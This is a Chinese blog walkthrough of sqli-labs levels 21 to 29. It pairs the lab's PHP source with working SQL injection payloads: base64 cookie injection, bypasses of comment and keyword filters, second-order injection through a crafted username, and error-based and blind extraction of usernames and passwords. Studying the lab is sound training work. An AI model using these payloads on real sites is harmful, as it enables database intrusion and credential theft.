sqli-labs通关汇总-page2

  less-21(头部Cookie、Base64加密、单引号括号、联合查询)
    base64_encode()
    base64_decode()
  less-22(头部Cookie、Base64加密、双引号、联合查询)
  less-23(GET型、【#,- -】注释过滤、单引号、联合查询)
    preg_replace()
  less-24(二次注入)
    第一次登录
    第二次登录
    修改密码
    创建新用户
    session_start()
    $_SESSION
    mysqli_affected_rows()
    session_destroy()
  less-25(GET型、【or,and】过滤、单引号、双写绕过联合查询)
  less-25a
  less-26(GET型、【or,and,/,\,*,-,#,空格】过滤、单引号,报错回显与布尔盲注)
    PHP正则表达式
      1.preg_replace()
      2.正则表达式的格式
      3.Modifier
      4.集合
  less-26a(GET型、【or,and,/,\,*,-,#,空格】过滤、单引号括号,报错回显与布尔盲注)
  less-27(GET型、【/,*,-,#,空格,+,select,union】、单引号、报错回显与布尔盲注)
  less-27a(GET型、【/,*,-,#,空格,+,select,union】、单引号、布尔盲注)
  less-28(GET型、【/,*,-,#空格,+】、单引号括号、布尔盲注)
  less-28a
  less-29(GET型、单引号、HTTP参数污染绕过)
    SERVER[‘QUERY_STRING’]
    preg_match()
    explode()
    foreach()
    GET的取值方式
  less-30(GET型、双引号、HTTP参数污染绕过)
  less-31(GET型、双引号括号、HTTP参数污染绕过)
  less-32(GET型、单引号、preg_replace()转义、宽字节注入与联合查询)
    strlen()
    ord()
    dechex()
    preg_quote()
  less-33(GET型、单引号、addslashes()转义、宽字节注入与联合查询)
    addslashes()
  less-34(POST型、单引号、addslashes()转义、宽字节注入与联合查询)
  less-35(GET型、数字型、addslashes()转义、宽字节注入联合查询)
  less-36(GET型、单引号、mysqli_real_escape_string()转义、宽字节注入联合查询)
    mysqli_real_escape_string()
  less-37(POST型、单引号、mysqli_real_escape_string()转义、宽字节注入联合查询)

less-21
标题:Cookie injection base64 encoded single quotes and parenthesis

文章标题告知是 base64编码的 ') 闭合的cookie注入

和20关的流程一样,我们抓包能看到
在这里插入图片描述
cookie是加密的,base64是一种常见的加密格式,怎么判断是不是base64呢,一般是

  • 字符串的长度为4的整数倍
  • 字符串的符号取值只能在 A-Z, a-z, 0-9, +, /,
    =
    共计65个字符中,且 = 如果出现就必须在结尾出现。

可详见
一篇文章彻底弄懂Base64编码原理
快速判断字符串是不是base64编码

base64编码是一种常用的字符编码,在很多地方都会用到。但base64不是安全领域下的加密解密算法。能起到安全作用的效果很差,而且很容易破解,他核心作用是传输数据的正确性,有关网关或系统只能使用ASCII字符。base64就是用来将非ASCII字符的数据转换成ASCII字符的一种方法,而且base64特别适合在http,mime协议下快速传输数据。

常见的编码,大家可以了解下,比如

页面编码(utf-8、gbk、gbk2312)、ASCII编码、HTML编码、URL编码、js编码、hex编码、base64编码、json编码、序列化、utf7编码

此处是base64编码(这玩意就是感觉嘛,一般也不会拿这个做加密)
我们拿原文解个密
在这里插入图片描述
其实也就是我们需要在传值前做个加密即可,网上有的是burpsuite也自带加密功能(快捷键是ctrl+B),如下
在这里插入图片描述

payload

JykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0X3dzKDB4N2UsdXNlcm5hbWUscGFzc3dvcmQpKSBmcm9tIHVzZXJzKSwzIw==
解密后:
') union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#

查询语句

SELECT * FROM users WHERE username=('') union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#') LIMIT 0,1

在这里插入图片描述
我们再看一下部分源码

setcookie('uname', base64_encode($row1['username']), time()+3600);

base64_encode()

字符串加密为base64格式
这里是服务器向前端传cookie时

$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

base64_decode()

base64密文解密
这里是前端带cookie对服务器请求时,也是我们的注入点

除了加密其他地方跟20关一样

less-22

标题:Cookie injecttion base64 encoded - double quotes

标题来看是 base64加密的双引号cookie注入
换汤不换药,但是自己也需要一步步试一下

payload

IiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb25jYXRfd3MoMHg3ZSx1c2VybmFtZSxwYXNzd29yZCkpIGZyb20gdXNlcnMpLDMj
解密后:
" union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#

查询语句

SELECT * FROM users WHERE username="" union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3#" LIMIT 0,1

在这里插入图片描述

less-23

标题:GET -Error based - strip comments

标题是基于报错的过滤注释

我们按步骤来

payload:1'
//报错,曝出后半段查询语句
payload:1' select 1,2,3 --+
//报错

在这里插入图片描述
我们发现 - - 被注释掉了

我们再试试

payload:1' select 1,2,3#

在这里插入图片描述
# 也被注释掉了

我们直接看源码,我们得知此关在原本的代码里加了这么个东西

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

preg_replace()

preg_replace函数执行一个正则表达式的搜索和替换,详见PHP preg_replace() 函数

语法:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数描述
$pattern要搜索的模式,可以是字符串或一个字符串数组
$replacement用于替换的字符串或字符串数组
$subject要搜索替换的目标字符串或字符串数组
$limit可选,对于每个模式用于每个subject字符串的最大可替换次数。默认是-1(无限制)
$count可选,为替换执行的次数。

就是说注释不能用了,咋治
只能联合查询
payload

-1' union select 1,2,3 and '1'='1
SELECT * FROM users WHERE id='-1' union select 1,2,3 and '1'='1d' LIMIT 0,1

在这里插入图片描述
后面就跟之前一样了

-1' union select 1,(select GROUP_CONCAT(username,password) from users),3 and '1'='1
SELECT * FROM users WHERE id='-1' union select 1,(select GROUP_CONCAT(username,password) from users),3 and '1'='1' LIMIT 0,1

在这里插入图片描述

当前语句还能缩减一下

payload

id=-1' union select 1,2,3='1
SELECT * FROM users WHERE id='-1' union select 1,2,3='1' LIMIT 0,1

SQL语句基础自己学

less-24

标题:POST - Second oder injections Real treat - Stored injections

不知道啥意思,搞不明白,看源码吧,源码太多,没法全贴

session原理部分详见PHP Session原理简析

基本流程如下

在这里插入图片描述

第一次登录

在这里插入图片描述

index.php(主页面)

session_start();
if (isset($_SESSION['username']) && isset($_COOKIE['Auth'])) {
   header('Location: logged-in.php');

session_start()

启动session,根据session ID打开session文件,如果没有就创建一个ID(这个Session ID是通过一系列算法生成的一个唯一字符串)和对应的session文件。
session_start()函数必须位于html标签之前

我们看看数据包
在这里插入图片描述
我们以第一访问index时,请求包里是没有phpsessionID的,我们访问页面,服务器端session_start()以后,就会给前端传一个phpsessionid值
在这里插入图片描述
我们再次访问的时候,请求包里就会包含此phpsessionid值,我们访问其他本网站的页面也会携带此phpsessionid
在这里插入图片描述
这个phpsessionid值存活到浏览器关闭前

$_SESSION

存储和取回session变量

启动session,这里是判断两个变量( SESSION[‘username’]、COOKIE[‘Auth’]是否为空,第一次访问肯定是空的,我们先跳过

我们输入:
用户名:admin
密码:admin
对应的源码

<input name="login_user" id="login_user" type="text" value="" />
<input name="login_password" id="login_password" type="password" value="" />

我们向服务器输入了两个值

login_userlogin_password

<form name="login" method="POST" action="login.php">

该表单提交到login.php,我们看一下login.php

也有session_start()
session_start() 拿不到 session数据

login.php自定义了一个方法 sqllogin()

function sqllogin($con1){

   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = mysqli_real_escape_string($con1, $_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysqli_query($con1, $sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysqli_fetch_row($res);
	//print_r($row) ;
   if ($row[1]) {
	return $row[1];
   } else {
	return 0;
   }

}

将刚才index.php输入的login_userlogin_password,转义后查询,
得到id、username、password赋值给 $res
然后将 其以关联数组的形式赋值给 $row
下面是做判断,如果 row[1] 有数据就返回,row[1] 就是 username没有就返回0

$login = sqllogin($con1);
if (!$login== 0) 
{
	$_SESSION["username"] = $login;
	setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */
	header('Location: logged-in.php');
} 

sqllogin函数的结果赋值给变量 $login
如果不为空,则将查询到的username的值赋值给session变量username
一个变量Auth赋值为1作为cookie返回给用户

我们查看数据包
在这里插入图片描述
302重定向到logged-in.php

然后跳转到 logged-in.php页面

我们的请求包就携带Auth=1;了
在这里插入图片描述

刚上来就有个判断

session_start();
if (!isset($_COOKIE["Auth"]))
{
	if (!isset($_SESSION["username"])) 
	{
   		header('Location: index.php');
	}
	header('Location: index.php');
}

判断cookie的Auth与session的username是否为空,只要有一个为空,就跳回首页

<?php
echo $_SESSION["username"];
?>

中间有一段PHP代码用来输出session的username的值,对应页面的
在这里插入图片描述
后面修改密码的先不看,我们第一次登录获取session就算完成了,对应的下面这一部分
在这里插入图片描述

这是我画的一个登录过程的流程图
在这里插入图片描述

第二次登录

session_start();
if (isset($_SESSION['username']) && isset($_COOKIE['Auth'])) {
   header('Location: logged-in.php');

SESSION[‘username’]COOKIE[‘Auth’] 是有值的
在这里插入图片描述
直接跳转到 logged-in.php

对应的流程图绿色部分
在这里插入图片描述

修改密码

在这里插入图片描述

<input name="current_password" id="current_password" type="text" value="" /> 
<input name="password" id="password" type="password" value="" />
<input name="re_password" id="re_password" type="password" value="" />

让我们输入三个值:
current_passwordpasswordre_password

<input name="submit" id="submit" type="submit" value="update password" />
<input name="submit1" id="submit1" type="submit" value="Logout" />

还有两个值是:
submitsubmit1

<form name="mylogin" method="POST" action="pass_change.php">

表单提交到pass_change.php

开头同样是

session_start();
if (!isset($_COOKIE["Auth"]))
{
	if (!isset($_SESSION["username"])) 
	{
   		header('Location: index.php');
	}
	header('Location: index.php');
}

session_start(),判断cookie的Auth与session的username是否为空,只要有一个为空,就跳回首页

if (isset($_POST['submit']))
{
	
	
	# Validating the user input........
	$username= $_SESSION["username"];
	$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
	$pass= mysqli_real_escape_string($con1, $_POST['password']);
	$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
	
	if($pass==$re_pass)
	{	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
		$row = mysqli_affected_rows($con1);
		echo '<font size="3" color="#FFFF00">';
		echo '<center>';
		if($row==1)
		{
			echo "Password successfully updated";
	
		}
		else
		{
			header('Location: failed.php');
			//echo 'You tried to be smart, Try harder!!!! :( ';
		}
	}
	else
	{
		echo '<font size="5" color="#FFFF00"><center>';
		echo "Make sure New Password and Retype Password fields have same value";
		header('refresh:2, url=index.php');
	}
}

判断submit是否为空,就是看看logged-in.php传进来的值是修改密码还是退出登录假设是修改密码

$pass==$re_pass

先判断新密码两次输入是否一致
然后根据username现密码 查询并修改密码为新密码

$row = mysqli_affected_rows($con1);

mysqli_affected_rows()

mysqli_affected_rows() 函数返回前一次 MySQL 操作(SELECT、INSERT、UPDATE、REPLACE、DELETE)所影响的记录行数。

语法:

mysqli_affected_rows(connection);
参数描述
connection必需。规定要使用的 MySQL 连接。

下面是判断是不是影响一行,影响一行就返回成功,多行就跳转到failed.phpfailed.php就一张图片告诉你别乱搞

header('refresh:2, url=index.php');

这里的refresh:2是两秒后刷新页面

if(isset($_POST['submit1']))
{
	session_destroy();
	setcookie('Auth', 1 , time()-3600);
	header ('Location: index.php');
}

这里就是退出登录操作

session_destroy()

注销session,这个就是关闭session,并删除掉相应的session文件了。切断了客户端和服务端的联系。
session_destroy() 将重置 session,您将失去所有已存储的 session 数据。

cookie有效时间减一小时,最后跳转到index.php
在这里插入图片描述

修改密码流程图如下
在这里插入图片描述

在这里插入图片描述
忘记密码功能里面没东西

创建新用户

在这里插入图片描述
点击跳转到 new_user.php

这里就是新模块了,跟登录、修改密码是不挂钩的

<input name="username" id="username" type="text" value="" />
<input name="password" id="password" type="password" value="" />
<input name="re_password" id="re_password" type="password" value="" />

输入3个值,usernamepasswordre_password

<form name="mylogin" method="POST" action="login_create.php">

然后提交到login_create.php

session_start();
if (isset($_POST['submit']))
{


	# Validating the user input........

	//$username=  $_POST['username'] ;
	$username=  mysqli_real_escape_string($con1, $_POST['username']) ;
	$pass= mysqli_real_escape_string($con1, $_POST['password']);
	$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);

	echo "<font size='3' color='#FFFF00'>";
	$sql = "select count(*) from users where username='$username'";
	$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
	$row = mysqli_fetch_row($res);

	//print_r($row);
	if (!$row[0]==0) 
	{
		?>
		<script>alert("The username Already exists, Please choose a different username ")</script>;
		<?php
		header('refresh:1, url=new_user.php');
	} 
	else 
	{
		if ($pass==$re_pass)
		{
			# Building up the query........

			$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";
			mysqli_query($con1, $sql) or die('Error Creating your user account,  : '.mysqli_error($con1));
			echo "</br>";
			echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";   				
			//echo "<h1>User Created Successfully</h1>";
			echo "</br>";
			echo "</br>";
			echo "</br>";					
			echo "</br>Redirecting you to login page in 5 sec................";
			echo "<font size='2'>";
			echo "</br>If it does not redirect, click the home button on top right</center>";
			header('refresh:5, url=index.php');
		}
		else
		{
			?>
			<script>alert('Please make sure that password field and retype password match correctly')</script>
			<?php
			header('refresh:1, url=new_user.php');
		}
	}
}

先是判断submit是不是空

$sql = "select count(*) from users where username='$username'";

然后做了个查询,判断查询有没有结果,有结果说明用户名已经存在,就跳转到new_user.php注册页面
如果没有结果,说明没有同名,然后判断两次密码输入是否一致

$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";

如果一致,做了个数据库插入操作,然后跳转回index.php
如果不一致,跳转回new_user.php注册页面

流程图
在这里插入图片描述
这种怎么搞,我们先理一下思路,SQL注入是为了向后端传值,我们应该找什么,找输入点,首先输入点有三处,而且都是post类型

1.登录输入【用户名】【密码】
2.修改密码输入【现密码】【新密码】【重复新密码】
3.注册输入【用户名】【密码】

当然我们看源码知道都做了转义,了但实际遇到的时候,都需要考虑可能存在哪些注入的,还是运用之前的知识

1.登录select

SELECT * FROM users WHERE username='$username' and password='$password'

2.修改密码update

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 

3.注册输入insert

insert into users (username, password) values(\"$username\", \"$pass\")

这样是不是能稍微有点亲切感

在这里插入图片描述

这题的注入点在这,这个$username取的是session的username的值

$username= $_SESSION["username"];

这个吊毛没做转义,其他地方虽然做转义了,但是没做过滤,所以我们只需要注册个账号叫

账号:admin'#
密码:123

在这里插入图片描述

登录后修改密码

new password:abc
retype password:abc

构造成的查询语句

UPDATE users SET PASSWORD='abc' where username='admin'#' and password='123' 

相当于只判断用户名,即可完成密码修改
在这里插入图片描述
看一下数据库
在这里插入图片描述

完成

less-25

标题:GET - Error based All your OR & AND belong to us string single quote

get类型单引号基于报错(OR/AND)过滤的注入

payload:'
//报错,曝出后半段查询语句
payload:' and '1'='1

在这里插入图片描述
在这里插入图片描述
and被过滤了,但为什么还有值呢,我们看一下Navicat
在这里插入图片描述

这里就牵扯SQL的逻辑结构了详见WHERE id=1=0

这里的

id='1' '1'='1'

等于

(id='1' '1')='1'

等于

(id='11') = TRUE

这题的话,不用and和or不影响我们回显数据库内容

payload

0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -

查询语句

SELECT * FROM users where id='0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -' limit 0,1

在这里插入图片描述
我们发现password被过滤了or,焯

我们尝试这么写试试

passwoorrd

在这里插入图片描述
ok,那还是可以用or和and

我们看一下源码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

源码自定义了一个blacklist方法,用来过滤or和and

$id=$_GET['id'];

但是在文中只调用了一次,所以我们可以用

oorr   或 aandnd

之类的方法绕过,其他都跟之前的get型注入一样

less-25a

没有页面

less-26

标题:GET - Error based - All your SPACES and COMMENTS belong to us

过滤空格和注释

payload

'or'1'='1#

在这里插入图片描述

不光是空格注释被过滤了,or和and也被过滤了

爆数据库

'aandnd(updatexml(1,concat(0x7e,database()),1))aandnd'1'='1

查询语句

SELECT * FROM users WHERE id=''and(updatexml(1,concat(0x7e,database()),1))and'1'='1' LIMIT 0,1

在这里插入图片描述
在这里插入图片描述
爆表

'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1'='1
SELECT * FROM users WHERE id=''and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))and'1'='1' LIMIT 0,1

这里需要绕过过滤,可参考
SQL注入一些过滤及绕过总结
SQL注入过滤的绕过

在这里插入图片描述
在这里插入图片描述

这里是用括号绕过了空格的过滤

爆字段

'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')aandnd(table_name='users'))),1))aandnd'1'='1
SELECT * FROM users WHERE id=''and(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name='users'))),1))and'1'='1' LIMIT 0,1

在这里插入图片描述
在这里插入图片描述
爆账号密码

'aandnd(updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from(users))),1))aandnd'1'='1
SELECT * FROM users WHERE id=''and(updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,password)))from(users))),1))and'1'='1' LIMIT 0,1

在这里插入图片描述
在这里插入图片描述

因为limit后面没法跟空格,所以没法使用,不适用limit就不能获取全部账号密码

这时候需要知道,若存在

空格过滤
中间件是Apache

**只能采用盲注获取字段值**

如下的方法

SELECT * FROM users WHERE id='1'and(ascii(substr((select(group_concat(username))from(users)),1,1))=68)and'1'='1' LIMIT 0,1

逗号的ascii码是44,注意一下用来区分字段值

我们看一下源码的过滤函数

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

该函数采用正则表达式过滤字符,正则表达式可参考
正则表达式中的/\\\\/四个反斜杠含义
php中正则表达式详解
PHP正则表达式
正则表达式

PHP正则表达式

我们不可能全抄,只提一下我们用到的

1.preg_replace()

preg_replace(正则表达式、替换成什么、匹配的字符串)

正则表达式的格式

2.正则表达式的格式

"/表达式/[修饰符]"

3.修饰符

i
使用此修饰符后,搜索时不区分大小写:A和a没有区别
g
使用此修饰符后,搜索时会查找所有的匹配项,如果没有标志 g,则正则表达式仅查找第一个匹配项
m
多行模式,这仅仅会影响 ^ 和 $ 锚符的行为,在多行模式下,它们不仅仅匹配文本的开始与结束,还匹配每一行的开始与结束
插入符号 ^ 和美元符号 $ 在正则表达式中具有特殊的意义。它们被称为“锚点”。
插入符号 ^ 匹配文本开头,而美元符号 $ - 则匹配文本末尾
如:测试一下文本是否以 Mary 开头:^Mary
s
启用 “dotall” 模式,允许点 . 匹配换行符 \n(默认情况下,点与换行符 \n 不匹配)

4.集合

[eao] 意味着查找在 3 个字符 'a'、'e' 或者 ‘o’ 中的任意一个

如上

$id= preg_replace('/or/i',"", $id);

不区分大小写的替换or

$id= preg_replace('/[\/\*]/',"", $id);	

替换 ‘/’ 或 ‘*’ 中的任意一个

$id= preg_replace('/[\/\\\\]/',"", $id);

替换 ‘/’ 或 ‘\’ 中的任意一个

$id= preg_replace('/select/m',"", $id);	

因为多行模式仅仅会影响 ^ 和 $ 锚符的行为,所以这里m没有意义

$id= preg_replace('/union/s',"", $id);

/s允许点 . 匹配换行符 \n,这里没有 . ,所以没有意义

less-26a
标题:GET - Blind Based -All your SPACES and COMMENTS belong to us - String single quotes Parenthesis
跟26关一样,就是闭合变为’)了

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

less-27

标题:GET -Error Based -All your UNION & SELECT Belong to us - String -Single quote

这里应该是吧union和select也过滤了

我们试试

payload

and or union UnIoN select sElEcT--#

在这里插入图片描述

and和or没过滤,空格被过滤了


select和union可以通过大小写混合绕过

注释可以用单引号闭合绕过

因为中间件是Apache,所以空格没办法采用 %a0 或 %0b 绕过

我们输入1’
在这里插入图片描述
可以看出来是单引号闭合

查数据库

1'and(updatexml(0,concat(0x7e,database()),0))and'1'='1
SELECT * FROM users WHERE id='1'and(updatexml(0,concat(0x7e,database()),0))and'1'='1' LIMIT 0,1

在这里插入图片描述
查表

1'and(updatexml(0,concat(0x7e,(sElEcT(GROUP_CONCAT(table_name))from(information_schema.tables)where(table_schema='security'))),0))and'1'='1
SELECT * FROM users WHERE id='1'and(updatexml(0,concat(0x7e,(sElEcT(GROUP_CONCAT(table_name))from(information_schema.tables)where(table_schema='security'))),0))and'1'='1' LIMIT 0,1

在这里插入图片描述

查字段

1'and(updatexml(0,concat(0x7e,(sElEcT(GROUP_CONCAT(column_name))from(information_schema.columns)where((table_schema='security')and(table_name='users')))),0))and'1'='1
SELECT * FROM users WHERE id='1'and(updatexml(0,concat(0x7e,(sElEcT(GROUP_CONCAT(column_name))from(information_schema.columns)where((table_schema='security')and(table_name='users')))),0))and'1'='1' LIMIT 0,1

在这里插入图片描述
查值,这时候,要想获取全部的用户名密码只能用盲注去猜了

1'and(ascii(substr((sElEct(group_concat(username))from(users)),1,1))=68)and'1'='1
SELECT * FROM users WHERE id='1'and(ascii(substr((sElEct(group_concat(username))from(users)),1,1))=68)and'1'='1' LIMIT 0,1

我们看一下源码的过滤

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

正则表达式上一关讲过了

less-27a

标题:GET - Blind Based -All your UNION & SELECT Belong to us Double Quotes

输入 1' ,不报错
在这里插入图片描述
输入1"
在这里插入图片描述
不报错,盲注类型的

只能猜

payload

and or union UnIoN select sElEcT--#

在这里插入图片描述
我们看看源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}

猜库

1"and(ascii(substr((database()),1,1))=115)and"1"="1
SELECT * FROM users WHERE id="1"and(ascii(substr((database()),1,1))=115)and"1"="1" LIMIT 0,1

猜表

1"and(ascii(substr((sElEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),1,1))=101)and"1"="1
SELECT * FROM users WHERE id="1"and(ascii(substr((sElEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),1,1))=101)and"1"="1" LIMIT 0,1

猜字段

1"and(ascii(substr((sElEcT(group_concat(column_name))from(information_schema.columns)where((table_schema='security')and(table_name='users'))),1,1))=105)and"1"="1
SELECT * FROM users WHERE id="1"and(ascii(substr((sElEcT(group_concat(column_name))from(information_schema.columns)where((table_schema='security')and(table_name='users'))),1,1))=105)and"1"="1" LIMIT 0,1

猜字段值

1"and(ascii(substr((sElEct(group_concat(username))from(users)),1,1))=68)and"1"="1
SELECT * FROM users WHERE id="1"and(ascii(substr((sElEct(group_concat(username))from(users)),1,1))=68)and"1"="1" LIMIT 0,1

OK

less-28

标题:GET - Error Based All your UNION & SELECT Belong to us - String - single quote with parenthesis

输入 1'
在这里插入图片描述
输入 1'and'1'='1
在这里插入图片描述
输入 1'and'1'='2
在这里插入图片描述
输入

1'and(ascii(substr((database()),1,1))=115)and'1'='1

在这里插入图片描述
但我们看源码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

其实人家是 ') 闭合的

在这里插入图片描述
但看一下,也能完成闭合,也没什么毛病

看一下过滤函数

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

最后一个过滤unionselect的好像没什么用,我没看懂啥意思

less-28a

标题:GET - Blind Based -All your UNION & SELECT Belong to us single quote - parenthesis

这一关没看出有啥过滤的来

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

源码这个过滤也不知道过滤的啥

less-29

标题:GET - Error based IMPIDENCE MISMARCH Having a WAF in front of web application

标题说是有个防火墙,没搞懂

这一关没看源码前我试了一下就是单引号GET型注入
我们看一下源码有什么不同

这关有三个文件
在这里插入图片描述
在这里插入图片描述
直接访问网站的话是跳到主页文件index.php

index.php没有什么特殊的,只是多了一句

$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;

$_SERVER[‘QUERY_STRING’]
详见
PHP 超级全局变量
详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别

$_SERVER['QUERY_STRING']用来获取?后的值
本题中获取的是id=....的值

index.php就这些了,没其他东西了,我们看看login.php

whitelist方法

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}

preg_match()

preg_match函数用于执行一个正则表达式匹配
详见PHP preg_match() 函数

语法:

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
参数描述
$pattern要搜索的模式,字符串形式
$subject输入字符串

返回值:

返回pattern的匹配次数。它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后将会停止搜索。preg_match_all()不同于此,它会一直搜索subject直到到达结尾。如果发生错误preg_match()返回FALSE

"/^\d+$/"代表完全匹配数字

所以此处代码意思是对传进来的input变量进行判断,若不为纯数字则跳转到hacked.phphacked.php只有个a标签跳转回login.php

我们继续看login.php的下个自定义方法java_implimentation()

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);


	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

explode()

详见PHP explode() 函数

定义和用法:

explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

语法:

explode(separator,string,limit) 
参数描述
separator必须。规定在哪里分割字符串
string必须。要分割的字符串

返回值:

返回字符串数组

foreach()

详见详解PHP中foreach的用法和实例

定义和用法:

遍历数组array_expression和键名,键名赋值给key,值赋值给value

语法:

foreach (array_expression as $key => $value)

参数描述
array_expression必需。要遍历的数组
key存储键名
value存储值

java_implimentation($query_string)方法将传进来的字符按&分割,传入数组qs_array,然后循环遍历数组,取数组值的前两位,若是id,则返回数组值的[3-33]位字符

我们看一下主函数部分

if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
	
$id1=java_implimentation($qs);

首先是对传进来的?后面的值带入到java_implimentation()里面,这个函数是防止我们往id=后面加&所有做个判断只取id=后和&之间的内容,目前我也没用过&构造查询语句啊,继续往下看吧

whitelist($id1);

然后是这个函数对处理后的id1的值进行判断是不是纯数字,不是就重新开始

但还是有问题,问题出在哪呢
在这里插入图片描述
